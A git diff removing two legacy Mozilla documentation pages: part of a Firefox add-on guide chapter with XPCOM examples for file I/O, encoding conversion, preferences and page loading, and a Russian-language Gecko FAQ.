- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "exists") }}</td>
- <td>Determines whether or not the file exists.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isWriteable") }}</td>
- <td>Determines whether or not the file can be written to.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isReadable") }}</td>
- <td>Determines whether or not the file can be read.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isExecutable") }}</td>
- <td>Determines whether or not the file can be executed.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isHidden") }}</td>
- <td>Determines whether or not the file is hidden.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isDirectory") }}</td>
- <td>Determines whether or not the reference is to a directory.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isFile") }}</td>
- <td>Determines whether or not the reference is to a file.</td>
- </tr>
- <tr>
- <td>{{ ifmethod("nsILocalFile", "isSymlink") }}</td>
- <td>Determines whether or not the reference is to a symlink.</td>
- </tr>
- </tbody>
-</table>
-<h3 id="Traversing_directories">Traversing directories</h3>
-<h4 id="Moving_into_a_directory">Moving into a directory</h4>
-<p>Use the {{ ifmethod("nsILocalFile", "append") }} method to drill down into a directory (or file). See Listing 8.</p>
-<p><strong>Listing 8: Traversing directories</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\');
-file.append('Documents and Settings');
-file.append('All Users');
-file.append('Documents');</pre>
-<h4 id="List_files_in_specified_directory">List files in specified directory</h4>
-<p>Use the <code>directoryEntries</code> property to perform operations on all the files or folders in a given folder. This property returns a <a class="internal" href="/en/XPCOM_Interface_Reference/nsISimpleEnumerator" title="En/NsISimpleEnumerator"><code>nsISimpleEnumerator</code></a>-type object similar to the window overview, so you can get each element using similar techniques. Listing 9 shows how to list the contents of a folder.</p>
-<p><strong>Listing 9: Listing the contents of a specific directory</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\');
-var children = file.directoryEntries;
-var child;
-var list = [];
-while (children.hasMoreElements()) {
- child = children.getNext().QueryInterface(Components.interfaces.nsILocalFile);
- list.push(child.leafName + (child.isDirectory() ? ' [DIR]' : ''));
-}
-alert(list.join('\n'));</pre>
-<h4 id="Get_parent_directory">Get parent directory</h4>
-<p>Although the <code>nsILocalFile</code> object does not contain a function for moving to higher directories, Listing 10 does show how you can use the <code>parent</code> property to get the parent directory of the current file.</p>
-<p><strong>Listing 10: Creating a backup of a specific file in a separate folder</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\temp\\temp.txt');
-backupFolder = file.parent.parent; // C:\
-backupFolder.append('backup'); // C:\backup
-backupFolder.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0666);
-file.copyTo(backupFolder, file.leafName+'.bak');
-</pre>
-<h3 id="Converting_between_file_paths_and_file_URLs">Converting between file paths and file URLs</h3>
-<p>XPCOM functions can use both remote resources and local files, and these functions almost always specify their targets using URIs. Local file paths can be converted to file URLs, such as <code><a class="external" rel="freelink">file:///C/temp/temp.txt</a></code>, as shown in Listing 11. Listing 12 shows the opposite conversion.</p>
-<p><strong>Listing 11: Converting a local file path to a URL</strong></p>
-<pre class="brush: js">var path = 'C:\\temp\\temp.txt';
-var file = Components.classes['@mozilla.org/file/local;1']
- .createInstance(Components.interfaces.nsILocalFile);
-file.initWithPath(path);
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
- .getService(Components.interfaces.nsIIOService);
-var url = ioService.newFileURI(file);
-var fileURL = url.spec;
-alert(fileURL); // "file:///C:/temp/temp.txt"</pre>
-<p><strong>Listing 12: Converting a URL to a local file path</strong></p>
-<pre class="brush: js">var url = 'file:///C:/temp/test.txt';
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
- .getService(Components.interfaces.nsIIOService);
-var fileHandler = ioService.getProtocolHandler('file')
- .QueryInterface(Components.interfaces.nsIFileProtocolHandler);
-var file = fileHandler.getFileFromURLSpec(url);
-var path = file.path;
-alert(path); // "C:\temp\temp.txt"</pre>
-<h3 id="Binary_file_IO">Binary file I/O</h3>
-<p>Use streams, as in Java, for file I/O in XPCOM.</p>
-<h4 id="Opening_binary_files">Opening binary files</h4>
-<p>Listing 13 shows how to get a files contents as a bytestring (where 1 byte = an array of 8 bits). Save a text file containing only the ASCII characters "XUL" and put in the path to that file. Running this code should produce the output "58 55 4C" so you can check your results.</p>
-<div class="note">
- <strong>Note</strong>: Here, we assume that the file is named <code>temp.txt</code> and is saved in the temp folder on the C: drive.</div>
-<p><strong>Listing 13: Reading the contents of a binary file</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\temp\\temp.txt');
-var fileStream = Components.classes['@mozilla.org/network/file-input-stream;1']
- .createInstance(Components.interfaces.nsIFileInputStream);
-fileStream.init(file, 1, 0, false);
-var binaryStream = Components.classes['@mozilla.org/binaryinputstream;1']
- .createInstance(Components.interfaces.nsIBinaryInputStream);
-binaryStream.setInputStream(fileStream);
-var array = binaryStream.readByteArray(fileStream.available());
-binaryStream.close();
-fileStream.close();
-alert(array.map(
- function(aItem) {return aItem.toString(16); }
- ).join(' ').toUpperCase(
-));</pre>
-<p>When we initialized <a class="internal" href="/en/XPCOM_Interface_Reference/nsIFileInputStream" title="En/NsIFileInputStream"><code>nsIFileInputStream</code></a>, we set the second and third parameters to initialize it in read-only mode. Once the process is complete, you should close all streams.</p>
-<h4 id="Outputting_binary_files">Outputting binary files</h4>
-<p>Listing 14 shows the opposite operation, taking a string of bytes and outputting them as a binary file. Here, we're outputting a text file consisting of the ASCII characters "XUL."</p>
-<p>When we initialized <a class="internal" href="/en/XPCOM_Interface_Reference/nsIFileInputStream" title="En/NsIFileInputStream"><code>nsIFileInputStream</code></a>, we set the second and third parameters to initialize it in write-only mode. Here again, once the process is complete, you should close all streams.</p>
-<p><strong>Listing 14: Writing a binary file</strong></p>
-<pre class="brush: js">var array = [88, 85, 76];
-file.initWithPath('C:\\temp\\temp.txt');
-if (file.exists())
- file.remove(true);
-file.create(file.NORMAL_FILE_TYPE, 0666);
-var fileStream = Components.classes['@mozilla.org/network/file-output-stream;1']
- .createInstance(Components.interfaces.nsIFileOutputStream);
-fileStream.init(file, 2, 0x200, false);
-var binaryStream = Components.classes['@mozilla.org/binaryoutputstream;1']
- .createInstance(Components.interfaces.nsIBinaryOutputStream);
-binaryStream.setOutputStream(fileStream);
-binaryStream.writeByteArray(array , array.length);
-binaryStream.close();
-fileStream.close();
-</pre>
-<h3 id="Text_file_IO">Text file I/O</h3>
-<p>Text files are read the same way streams are. If the text includes multi-byte characters, as is used in Japanese, you'll need to convert the character codes.</p>
-<h4 id="Text_file_input">Text file input</h4>
-<p>Listing 15 shows an example of opening a text file encoded as Shift-JIS (a double-byte character encoding for Japanese). Copy some Japanese text into a text file, save it as Shift-JIS, and put in the path to that file. The text will be displayed as-is. The text that you've read in is actually being represented internally as Unicode (UTF-16).</p>
-<p><strong>Listing 15: Reading a Shift-JIS text file</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\temp\\temp.txt');
-var charset = 'Shift_JIS';
-var fileStream = Components.classes['@mozilla.org/network/file-input-stream;1']
- .createInstance(Components.interfaces.nsIFileInputStream);
-fileStream.init(file, 1, 0, false);
-var converterStream = Components.classes['@mozilla.org/intl/converter-input-stream;1']
- .createInstance(Components.interfaces.nsIConverterInputStream);
- converterStream.init(fileStream, charset, fileStream.available(),
- converterStream.DEFAULT_REPLACEMENT_CHARACTER);
-var out = {};
-converterStream.readString(fileStream.available(), out);
-var fileContents = out.value;
-converterStream.close();
-fileStream.close();
-alert(fileContents);</pre>
-<h4 id="Outputting_text_files">Outputting text files</h4>
-<p>{{ TODO("Not sure this example is relevant in an English context, maybe something from the snippets") }}</p>
-<p>Listing 16 shows how to take text internally represented as Unicode and output it to a file encoded using EUC-JP (a Japanese text encoding). Here, the character string to be written, 変換テスト, is hard-coded directly into the JavaScript source using escaped Unicode entities. Open the output file to check your results.</p>
-<p>Note that if you set the character encoding to <code>null</code> it will default to UTF-8 for both input and output.</p>
-<p><strong>Listing 16: Writing text to a file encoded as EUC-JP</strong></p>
-<pre class="brush: js">var string = '\u5909\u63db\u30c6\u30b9\u30c8';
-file.initWithPath('C:\\temp\\temp.txt');
-file.create(file.NORMAL_FILE_TYPE, 0666);
-var charset = 'EUC-JP';
-var fileStream = Components
-.classes['@mozilla.org/network/file-output-stream;1']
-.createInstance(Components.interfaces.nsIFileOutputStream);
-fileStream.init(file, 2, 0x200, false);
-var converterStream = Components
-.classes['@mozilla.org/intl/converter-output-stream;1']
-.createInstance(Components.interfaces.nsIConverterOutputStream);
-converterStream.init(fileStream, charset, string.length,
-Components.interfaces.nsIConverterInputStream.DEFAULT_REPLACEMENT_CHARACTER);
-converterStream.writeString(string);
-converterStream.close();
-fileStream.close();
-</pre>
-<h3 id="Character_encoding_conversion">Character encoding conversion</h3>
-<p>Firefox's internal representation of all text is in Unicode. However, in some cases, you may want to be able to process text using another encoding. In these cases, you can easily convert between encodings using the <a class="internal" href="/en/XPCOM_Interface_Reference/nsIScriptableUnicodeConverter" title="En/NsIScriptableUnicodeConverter"><code>nsIScriptableUnicodeConverter</code></a>.</p>
-<h4 id="Converting_from_Unicode_to_other_encodings">Converting from Unicode to other encodings</h4>
-<p>Listing 17 shows how to convert from text saved as Unicode to EUC-JP encoding.</p>
-<p><strong>Listing 17: Converting text from Unicode to EUC-JP</strong></p>
-<pre class="brush: js">var converter = Components.classes['@mozilla.org/intl/scriptableunicodeconverter']
- .getService(Components.interfaces.nsIScriptableUnicodeConverter);
-converter.charset = 'EUC-JP';
-var unicode_str = '\u5909\u63db\u30c6\u30b9\u30c8';
-var eucjp_str = converter.ConvertFromUnicode(unicode_str);</pre>
-<h4 id="Converting_from_other_encodings_to_Unicode">Converting from other encodings to Unicode</h4>
-<p>Listing 18 shows how to do the reverse, converting from text saved as ISO-2022-JP to Unicode.</p>
-<p><strong>Listing 18: Converting text from ISO-2022-JP to Unicode</strong></p>
-<pre class="brush: js">converter.charset = 'ISO-2022-JP';
-var unicode_str = converter.ConvertToUnicode(iso2022jp_str);</pre>
-<h3 id="Reading_and_writing_preferences">Reading and writing preferences</h3>
-<p>You can use the <a class="internal" href="/en/XPCOM_Interface_Reference/nsIPrefBranch" title="En/NsIPrefBranch"><code>nsIPrefBranch</code></a> function to access Firefox's preferences system. This function can get and set preferences with three types of values: Boolean, integer, and text; there are specific methods for each, as shown in Table 2.</p>
-<h4 id="Reading_preferences">Reading preferences</h4>
-<p>Listing 19 shows how to get a text string stored in the preferences. Type <em>about:config</em> into the location bar to confirm that the value has been stored correctly.</p>
-<div class="note">
- <strong>Note:</strong> The value returned by {{ ifmethod("nsIPrefBranch", "getCharPref") }} is a UTF-8 bytestring; here, we are converting it to UTF-16 using <code><a class="internal" href="/en/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/escape_and_unescape_Functions" title="En/Core JavaScript 1.5 Guide/Predefined Functions/Escape and unescape Functions">escape()</a></code> and <code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/decodeURIComponent" title="En/Core JavaScript 1.5 Reference/Global Functions/DecodeURIComponent">decodeURIComponent()</a></code>.</div>
-<p><strong>Listing 19: Reading a text-string setting</strong></p>
-<pre class="brush: js">var pref = Components.classes['@mozilla.org/preferences-service;1']
- .getService(Components.interfaces.nsIPrefBranch);
-var dir = pref.getCharPref('browser.download.lastDir');
-alert(decodeURIComponent(escape(dir)));</pre>
-<h4 id="Writing_preferences">Writing preferences</h4>
-<p>Listing 20 shows the opposite operation, writing a text string to a unique preference. Again, you can use <em>about:config</em> to check that the value has been stored correctly.</p>
-<div class="note">
- <strong>Note:</strong> The value for the second parameter of {{ ifmethod("nsIPrefBranch", "setCharPref") }} is a UTF-8 bytestring; here, we are converting a UTF-16 to UTF-8 using <code><a class="internal" href="/en/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/escape_and_unescape_Functions" title="En/Core JavaScript 1.5 Guide/Predefined Functions/Escape and unescape Functions">unescape()</a></code> and <code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/encodeURIComponent" title="En/Core JavaScript 1.5 Reference/Global Functions/EncodeURIComponent">encodeURIComponent()</a></code>.</div>
-<p><strong>Listing 20: Writing a text-string setting</strong></p>
-<pre class="brush: js">var string = 'This is test.';
-pref.setCharPref('extensions.myextension.testPref', unescape(encodeURIComponent(string)));
-</pre>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Data type</td>
- <td class="header">Get</td>
- <td class="header">Set</td>
- </tr>
- <tr>
- <td>Boolean</td>
- <td><code>getBoolPref(<em>prefname</em>)</code></td>
- <td><code>setBoolPref(<em>prefname</em>)</code></td>
- </tr>
- <tr>
- <td>Integer</td>
- <td><code>getIntPref(<em>prefname</em>)</code></td>
- <td><code>setIntPref(<em>prefname</em>)</code></td>
- </tr>
- <tr>
- <td>Text string</td>
- <td><code>getCharPref(<em>prefname</em>)</code></td>
- <td><code>setCharPref(<em>prefname</em>)</code></td>
- </tr>
- </tbody>
-</table>
-<h2 id="Using_methods_from_XUL_elements">Using methods from XUL elements</h2>
-<p>XPCOM gives you access to sophisticated functions in XUL elements. For example, using the <code>loadURI()</code> method on the <a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a> element introduced in <a class="internal" href="/En/Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI" title="En/Firefox addons developer guide/Introduction to XUL—How to build a more intuitive UI">Chapter 3</a> can open a page specified using <code>HTTP_REFERER</code>, as shown in Listing 21; Listing 22 shows how to open a page using the <code>loadURIWithFlags()</code> method, with data transmitted via the POST method.</p>
-<p><strong>Listing 21: Loading a page by setting a referrer</strong></p>
-<pre class="brush: js">var browser = document.getElementById('browser');
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
- .getService(Components.interfaces.nsIIOService);
-var referrer = ioService.newURI('http://www.gihyo.co.jp/', null, null);
-browser.loadURI('http://www.gihyo.co.jp/magazines/SD', referrer);
-</pre>
-<p><strong>Listing 22: Loading a page with data transmitted via the POST method</strong></p>
-<pre class="brush: js">var content = encodeURIComponent('password=foobar');
-var referrer = null;
-var postData = Components.classes['@mozilla.org/io/string-input-stream;1']
- .createInstance(Components.interfaces.nsIStringInputStream);
-content = 'Content-Type: application/x-www-form-urlencoded\n'+
- 'Content-Length: '+content.length+'\n\n'+
- content;
-postData.setData(content, content.length);
-var flags = Components.interfaces.nsIWebNavigation.LOAD_FLAGS_NONE;
-browser.loadURIWithFlags('http://piro.sakura.ne.jp/', flags, referrer, null, postData);
-</pre>
-<p> {{ PreviousNext("Firefox addons developer guide/Introduction to XUL—How to build a more intuitive UI", "Firefox addons developer guide/Let%27s build a Firefox extension") }}</p>
diff --git a/files/ru/gecko_faq/index.html b/files/ru/gecko_faq/index.html
deleted file mode 100644
index da4dc47ae0..0000000000
--- a/files/ru/gecko_faq/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Gecko FAQ
-slug: Gecko_FAQ
----
-<h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_Gecko">Что такое Gecko</h3>
-<p><a href="/ru/Gecko" title="ru/Gecko">Gecko</a> - это браузерный <a class="external" href="http://ru.wikipedia.org/wiki/Браузерный_движок">движок</a> с открытым исходным кодом, предназначенный для поддержки открытых интернет-стандартов, таких как <a href="/ru/HTML" title="ru/HTML">HTML</a> 4, <a href="/ru/CSS" title="ru/CSS">CSS</a> 1/2, W3C <a href="/ru/DOM" title="ru/DOM">DOM</a>, <a href="/ru/XML" title="ru/XML">XML</a>, <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a> и других.</p>
-<p>Gecko используется во многих браузерах, таких как Mozilla Firefox, SeaMonkey, Camino, Epiphany, K-Meleon и других. Gecko постоянно находится в процессе разработки под руководством компании mozilla.org. Ранее Gecko был известен под кодовыми именами Raptor и NGLayout; новое название было выбрано в связи с рассмотрением дела о нарушении прав на использование старой торговой марки.</p>
-<h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_.D0.B1.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.BD.D1.8B.D0.B9_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BE.D0.BA">Что такое браузерный движок</h3>
-<p>По существу, это программная библиотека, которая использует контент (информацию, размеченную с помощью языков HTML и XML; графические файлы, апплеты и т.д.) и информацию о его оформлении (каскадные таблицы стилей, тэги языка HTML, используемые для визуальной разметки) и отображает отформатированный контент на экране. Таким образом, движок "заполняет" область информационного наполнения, которая представляет из себя пустое пространство внутри окон графического интерфейса пользователя <a class="external" href="http://en.wikipedia.org/wiki/Chrome_Mozilla">chrome</a>.</p>
-<p>Формально движок определяет правила размещения контента на странице. Ядро этого движка очень быстрое. Кроме того, Gecko предоставляет средства анализа документов различных типов (HTML, XML, SVG и др.), улучшенные возможности визуализации, включая создание составных изображений и их трансформацию. Движок поддерживает встроенный интерпретатор языка JavaScript и плагины.</p>
-<p>Более того, Gecko настолько быстрый и мощный, что он используется для создания пользовательского интерфейса (chrome) некоторых приложений. Иными словами, этот движок используется не только для отображения контента, но и для отображения панелей прокрутки (scrollbar), панелей инструментов (toolbar), а также разнообразных меню. См. также информацию о технологии <a href="/ru/XUL" title="ru/XUL">XUL</a>.</p>
-<p> </p>
-<h3 id=".D0.A7.D0.B5.D0.BC_.D0.BE.D1.82.D0.BB.D0.B8.D1.87.D0.B0.D0.B5.D1.82.D1.81.D1.8F_.D0.B1.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.BD.D1.8B.D0.B9_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BE.D0.BA.2C_.D1.82.D0.B0.D0.BA.D0.BE.D0.B9_.D0.BA.D0.B0.D0.BA_Gecko_.D0.BE.D1.82_.D0.BF.D0.BE.D0.BB.D0.BD.D0.BE.D1.84.D1.83.D0.BD.D0.BA.D1.86.D0.B8.D0.BE.D0.BD.D0.B0.D0.BB.D1.8C.D0.BD.D0.BE.D0.B3.D0.BE_web-.D0.B1.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.B0.3F">Чем отличается браузерный движок, такой как Gecko от полнофункционального web-браузера?</h3>
-<p>Gecko предоставляет надёжную платформу для отображения контента на экране, включая движок для вёрстки, и сопутствующий набор компонентов браузера. Тем не менее, Gecko не оформляет пакет всех этих этих компонентов в интегрированное, полноценное, дружественное к пользователю приложение (включая меню, панели инструментов и др.), такое как Firefox.</p>
-<p>В рамках проекта mozilla.org все необходимые компоненты собираются в полноценные приложения, такие как Firefox, Thunderbird, SeaMonkey, Camino. Все они свободно доступны для скачивания с сервера mozilla.org. Компания Netscape выпускала свои собственные версии браузера под торговой маркой Netscape Navigator. Другие компании также выпускают свои собственные программные продукты, которые использую движок Gecko. Вам будет интересно ознакомиться с частичным списком приложений использующих движок Gecko посредством технологии XULRunner, на странице <a href="/ru/XULRunner_Hall_of_Fame" title="ru/XULRunner_Hall_of_Fame">XULRunner Hall of Fame</a>.</p>
-<p>Третьи лица, такие как независимые продавцы программных продуктов (ISV) и поставщики аппаратного обеспечения отбирают компоненты, которые они хотят использовать в собственных приложениях или устройствах. Некоторые компоненты браузера, такие как закладки, журнал посещений, адресная книги и т.д., не распространяются как часть Gecko. Тем не менее, исходный код всех этих компонентов доступен для бесплатной загрузки с сайта mozilla.org.</p>
-<h3 id=".D0.9F.D0.BE.D1.87.D0.B5.D0.BC.D1.83_.D0.BC.D1.8B_.D1.81.D0.BE.D0.B7.D0.B4.D0.B0.D1.91.D0.BC_.D0.BD.D0.BE.D0.B2.D1.8B.D0.B9_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BE.D0.BA.3F">Почему мы создаём новый движок?</h3>
-<p>Начальный браузер Mozilla, впервые выпущенный под названием Navigator 1.0, был быстро разработан небольшой командой разработчиков, страстно желавших создания революционного, новаторского продукта, новинка, "захватчика рынка" - и они в этом серьезно преуспели. После, когда web эволюционировал, компания Netscape собрала отличную команду, которая перестроила движок, выведя его на новый уровень, необходимый для создания будущих продуктов. Gecko делает возможным создание революционно нового класса динамического, намного более интерактивного контента, и предоставляет больший контроль над визуальным отображением для web-разработчикам, используя открытые стандарты вместо проприетарных API. Мы приглашаем Вас присоединиться к работе команды на странице <a class="external" href="http://www.mozilla.org/newlayout/getinvolved.html">getting involved</a>.</p>
-<h3 id=".D0.9A.D0.B0.D0.BA_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BE.D0.BA_Gecko_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D1.83.D0.B5.D1.82.D1.81.D1.8F_.D0.B2_.D0.B8.D0.BD.D1.8B.D1.85_.D0.BF.D1.80.D0.BE.D0.B4.D1.83.D0.BA.D1.82.D0.B0.D1.85_.D0.BA.D0.BE.D0.BC.D0.BF.D0.B0.D0.BD.D0.B8.D0.B8_mozilla.org_.3F">Как движок Gecko используется в иных продуктах компании mozilla.org ?</h3>
-<p>Gecko лежит в основе браузера Netscape 6, обеспечивая работу всех его компонентов, включая Navigator и Messenger. Технология Gecko также ускоряет отображение портала Netscape.com, быстрее доставляя интерактивный контент и сервисы. Архитектура Gecko будет обслуживать Netscape также и в будущем, позволяя внедрять больше инноваций за меньшую стоимость, облегчая распространение и обновление ПО, обеспечивая их межплатформенную поддержку.</p>
-<h3 id=".D0.9A.D0.B0.D0.BA_.D0.BA.D0.BE.D0.BC.D0.BF.D0.B0.D0.BD.D0.B8.D1.8F_Netscape_.D1.81.D0.BE.D0.B1.D0.B8.D1.80.D0.B0.D0.B5.D1.82.D1.81.D1.8F_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D1.82.D1.8C_Gecko.3F">Как компания Netscape собирается использовать Gecko?</h3>
-<h3 id=".D0.9A.D0.B0.D0.BA_.D0.BC.D0.BE.D0.B3.D1.83.D1.82_.D0.B4.D1.80.D1.83.D0.B3.D0.B8.D0.B5_.D0.BA.D0.BE.D0.BC.D0.BF.D0.B0.D0.BD.D0.B8.D0.B8_.D0.B8_.D0.BE.D1.80.D0.B3.D0.B0.D0.BD.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D0.B8_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D1.82.D1.8C_.D1.8D.D1.82.D0.BE.D1.82_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BE.D0.BA.3F">Как могут другие компании и организации использовать этот движок?</h3>
-<p>Поскольку движок Gecko относительно невелик и легковесен, а его исходный код открыт, другие компании и организации могут легко использовать эту технологию. Многие производители аппаратного обеспечения, создающие устройства с сетевым доступом, желают добавить функциональность веб-браузера. Аналогично, многие разработчики программного обеспечения желают обеспечить функциональность веб-браузера в свои приложения, но независимая разработка веб-браузера не входит в их планы. Эти разработчики могут выбрать необходимые компоненты браузера из библиотеки Gecko, и упаковать их вместе со своими компонентами в собственный полноценный продукт.</p>
-<h3 id=".D0.9D.D0.B0.D0.B4_.D0.BF.D0.BE.D0.B4.D0.B4.D0.B5.D1.80.D0.B6.D0.BA.D0.BE.D0.B9_.D0.BA.D0.B0.D0.BA.D0.B8.D1.85_.D0.BE.D1.82.D0.BA.D1.80.D1.8B.D1.82.D1.8B.D1.85_.D1.81.D1.82.D0.B0.D0.BD.D0.B4.D0.B0.D1.80.D1.82.D0.BE.D0.B2_.D0.B2_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BA.D0.B5_Gecko_.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.B0.D0.B5.D1.82_.D0.BA.D0.BE.D0.BC.D0.B0.D0.BD.D0.B4.D0.B0_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D1.87.D0.B8.D0.BA.D0.BE.D0.B2_.D0.B8_.D0.BF.D0.BE.D1.87.D0.B5.D0.BC.D1.83_.D0.BE.D0.BD.D0.B0_.D0.BF.D0.BE.D0.B4.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.B2.D0.B0.D0.B5.D1.82_.D0.B8.D1.85.3F">Над поддержкой каких открытых стандартов в движке Gecko работает команда разработчиков и почему она поддерживает их?</h3>
-<ul> <li>HTML 4.0, тег canvas из HTML 5</li> <li>CSS 1 и CSS 2</li> <li>DOM 0/1/2</li> <li>XML 1</li> <li>RDF</li> <li>JavaScript 1.5</li> <li>HTTP 1.1 и FTP</li> <li>SSL</li> <li>Unicode</li> <li>OJI (Open Java Interface)</li> <li>Image formats <ul> <li>PNG</li> <li>GIF</li> <li>JPEG, PJPEG</li> </ul> </li>
-</ul>
-<p> </p>
-<h3 id=".D0.9E.D0.B1.D0.BE.D0.B7.D0.BD.D0.B0.D1.87.D0.B0.D0.B5.D1.82_.D0.BB.D0.B8_.D0.BF.D0.BE.D0.BB.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.BE.D1.82.D0.B2.D0.B5.D1.82.D1.81.D1.82.D0.B2.D0.B8.D0.B5_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BA.D0.B0_.D1.81.D1.82.D0.B0.D0.BD.D0.B4.D0.B0.D1.80.D1.82.D0.B0.D0.BC_.D0.BE.D1.82.D1.81.D1.83.D1.82.D1.81.D1.82.D0.B2.D0.B8.D0.B5_.D0.B1.D0.B0.D0.B3.D0.BE.D0.B2_.D0.B2_.D0.B4.D0.B0.D0.BD.D0.BD.D0.BE.D0.B9_.D0.B8.D0.BB.D0.B8_.D0.BF.D0.BE.D1.81.D0.BB.D0.B5.D0.B4.D1.83.D1.8E.D1.89.D0.B8.D1.85_.D0.B2.D0.B5.D1.80.D1.81.D0.B8.D1.8F.D1.85_.3F">Обозначает ли полное соответствие движка стандартам отсутствие багов в данной или последующих версиях ?</h3>
-<h3 id=".D0.9A.D0.B0.D0.BA_Gecko_.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.82.D0.B8.D1.80.D1.83.D0.B5.D1.82_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B_XML.3F">Как Gecko форматирует документы XML?</h3>
-<p>Для форматирования XML-документов движок использует технологии CSS и <a href="/Ru/XSLT" title="Ru/XSLT">XSLT</a>.</p>
-<p>В случае, если с XML-документом не связан никакой документ CSS или <a href="/Ru/XSLT" title="Ru/XSLT">XSLT</a>, Gecko отображает исходный код документа, отформатированный стилевыми таблицами по умолчанию.</p>
-<h3 id=".D0.A7.D0.B5.D0.BC_Gecko_.D0.BF.D0.BE.D0.BB.D0.B5.D0.B7.D0.B5.D0.BD_.D0.B0.D0.B2.D1.82.D0.BE.D1.80.D0.B0.D0.BC_.D0.B8_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D1.87.D0.B8.D0.BA.D0.B0.D0.BC_.D0.BA.D0.BE.D0.BD.D1.82.D0.B5.D0.BD.D1.82.D0.B0.3F">Чем Gecko полезен авторам и разработчикам контента?</h3>
-<p>Для авторов разработка, а после тестирование каждой web-страницы несколько раз для поддержки различных, несовместимых между собой объектных моделей документов (DOM) браузеров, зависимых от поставщиков ПО, является достаточно утомительным занятием. Вот почему они требуют, чтобы все поставщик программного обеспечения полностью поддерживали открытые стандарты, перечисленные выше, чтобы:</p>
-<ul> <li>иметь возможность воспользоваться принципом "написал единожды - просматривай везде";</li> <li>иметь в своём распоряжении богатую, мощную систему форматирования и объектную модель.</li>
-</ul>
-<p>Надёжная поддержка этих стандартов в Gecko делает его платформой, которую выбирают разработчики web-приложений и авторы контента во всём мире.</p>
-<h3 id=".D0.9F.D0.BE.D1.81.D1.82.D1.80.D0.BE.D0.B5.D0.BD_.D0.BB.D0.B8_Gecko_API__.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_ActiveX.2C_COM.2C_JavaBeans.3F">Построен ли Gecko API на основе ActiveX, COM, JavaBeans?</h3>
-<p>Благодаря технологии <a href="/ru/XPCOM" title="ru/XPCOM">XPCOM</a>, межплатформенному подмножеству COM, Gecko может быть повторно использован на всех платформах. Технология COM, изначально разработанная фирмой Digital, а позже перенятая компанией Microsoft, является стандартом де-факто для модульных интерфейсов на платформах Windows.</p>
-<p>Более того, на платформах Windows, интерфейсы Gecko XPCOM "обёрнуты" в элементы управления ActiveX. Таким образом, разработчики на языке Visual Basic могут использовать их в своих программах. Тем не менее, на иных платформах элементы управления ActiveX не могут быть использованы, ибо эта технология специфична для платформы Windows.</p>
-<p>Оболочка (wrapper) XPCOM для JavaBean в данный момент не разрабатывается, но это не означает, что в архитектура Gecko не позволяет разработать такой интерфейс в будущем. Исходный код и документация для этих интерфейсов доступны на сервере проекта mozilla.org.</p>
-<h3 id=".D0.A1.D0.BE.D0.B2.D0.BC.D0.B5.D1.81.D1.82.D0.B8.D0.BC_.D0.BB.D0.B8_Gecko_API_.D1.81_Microsoft_Trident_API.3F">Совместим ли Gecko API с Microsoft Trident API?</h3>
-<p>Интерфейс XPCOM движка Gecko отличается от API аналогичного продукта корпорации Microsoft. Главные отличия между этими двумя моделями состоят в способе отражения объектной модели документов (<a href="/ru/DOM" title="ru/DOM">DOM</a>) в этих интерфейсах.</p>
-<p>Интерфейс Microsoft Trident отражает DOM в проприетарном API, тогда как Gecko предоставляет интерфейс DOM следуя стандарту W3C. Существуют, кроме того, иные отличия. Благодаря усилиям Adam Lock, создан частичный уровень совместимости, облегчающий разработчикам переход от движка компании Microsoft к движку Gecko.</p>
